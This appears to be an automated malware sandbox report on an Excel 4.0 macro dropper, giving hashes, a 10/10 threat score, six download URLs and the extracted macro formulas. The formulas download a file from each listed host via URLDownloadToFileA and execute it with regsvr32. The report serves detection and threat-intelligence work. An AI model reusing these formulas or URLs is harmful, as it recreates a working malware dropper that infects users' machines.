General

  • Target

    ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492

  • Size

    45KB

  • Sample

    241111-vn74pa1mb1

  • MD5

    f4cd9cc4a47236fe4c7678202d993958

  • SHA1

    fad791b38a8bea2a5c637321cc5737c0b3a13798

  • SHA256

    ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492

  • SHA512

    b1ba5e9bcf73eb2b9bf53cf3a3e2674c9667edcc2b87dcb5227fe0fe001b9da1dcd376f1fc9f12eef7cdd6a4bda044242550be26cc2d8d360ce916af7141344b

  • SSDEEP

    768:0BXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:0BXcC5iybdtT5fTR4Lh1NisFYBc3cr+A

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://sorathlions.com/tmp/FlTSgo/

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

https://uzamart.com/indrawal/GZ7bN0V68oRpN7/

http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/

http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/

http://blog.centerking.top/wp-includes/PZ823VXII8/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/FlTSgo/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://uzamart.com/indrawal/GZ7bN0V68oRpN7/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/PZ823VXII8/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://sorathlions.com/tmp/FlTSgo/

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

Targets

    • Target

      ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492

    • Size

      45KB

    • MD5

      f4cd9cc4a47236fe4c7678202d993958

    • SHA1

      fad791b38a8bea2a5c637321cc5737c0b3a13798

    • SHA256

      ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492

    • SHA512

      b1ba5e9bcf73eb2b9bf53cf3a3e2674c9667edcc2b87dcb5227fe0fe001b9da1dcd376f1fc9f12eef7cdd6a4bda044242550be26cc2d8d360ce916af7141344b

    • SSDEEP

      768:0BXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:0BXcC5iybdtT5fTR4Lh1NisFYBc3cr+A

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks